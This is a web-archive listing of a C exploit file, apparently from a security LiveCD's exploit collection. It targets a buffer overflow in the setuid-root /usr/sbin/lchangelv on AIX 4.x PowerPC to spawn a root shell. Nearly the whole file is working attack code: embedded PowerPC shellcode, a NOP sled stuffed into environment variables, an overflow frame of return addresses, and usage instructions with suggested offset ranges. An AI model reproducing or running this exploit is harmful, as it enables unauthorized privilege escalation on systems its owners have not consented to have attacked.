home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / lchangelv.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  108 lines

  1. /*
  2.  *
  3.  *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V    
  4.  * 
  5.  *   CREDITS: this is simply a modified version of an exploit
  6.  *   posted by Georgi Guninski (guninski@hotmail.com)
  7.  *
  8.  *   NOTES: you must have gid or egid of (system) to run this.
  9.  *
  10.  *
  11.  *   This will give a #rootshell# by overwriting a buffer
  12.  *   /usr/sbin/lchangelv while lchangelv is setuid to root.
  13.  *   This exploit is designed for AIX 4.x on PPC platform.    
  14.  *
  15.  *
  16.  *   USAGE: 
  17.  *            $ cc -o foo -g aix_lchangelv.c
  18.  *            $ ./foo 5100
  19.  *            #
  20.  *
  21.  *      
  22.  *   HINT: Try giving ranges from 5090 through 5500
  23.  *
  24.  *   DISCLAIMER: use this program in a responsible manner.
  25.  *
  26.  *
  27.  */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <unistd.h>
  33.  
  34. extern int execv();
  35.  
  36. #define MAXBUF 600
  37.  
  38. unsigned int code[]={
  39.   0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  40.   0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  41.   0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  42.   0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  43.   0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  44.   0x7c0903a6 , 0x4e800420, 0x0
  45. };
  46.  
  47. char *createvar(char *name,char *value)
  48. {
  49.   char *c;
  50.   int l;
  51.  
  52.   l=strlen(name)+strlen(value)+4;
  53.   if (! (c=malloc(l)))
  54.     {
  55.       perror("error allocating");
  56.       exit(2);
  57.     };
  58.   strcpy(c,name);
  59.   strcat(c,"=");
  60.   strcat(c,value);
  61.   putenv(c);
  62.   return c;
  63. }
  64.  
  65. main(int argc,char **argv,char **env)
  66. {
  67.   unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  68.   int min=100, max=280;
  69.   unsigned int return_address;
  70.   char *newenv[8];
  71.   char *args[4];
  72.   int offset=3200;
  73.  
  74.   if (argc==2) offset = atoi(argv[1]);
  75.  
  76.   pt=(unsigned *) &execv;
  77.   toc=*(pt+1);
  78.   eco=*pt;
  79.  
  80.   *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  81.   *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  82.   *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  83.   *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
  84.  
  85.   return_address=(unsigned)&buf[0]+offset;
  86.  
  87.   for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  88.   strcpy((char*)&buf[nop],(char*)&code);
  89.   i=nop+strlen( (char*) &code)/4-1;
  90.  
  91.   for(i=0;i<max-1;i++) frame[i]=return_address;
  92.   frame[i]=0;
  93.  
  94.   newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  95.   newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  96.   newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  97.   newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  98.   newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  99.   newenv[5]=NULL;
  100.  
  101.   args[0]="lchangelv";
  102.   args[1]="-l";
  103.   args[2]=(char*)&frame[0];
  104.   execve("/usr/sbin/lchangelv",args,newenv);
  105.   perror("Error executing execve \n");
  106.  
  107. }
  108. /*                    www.hack.co.za              [2000]*/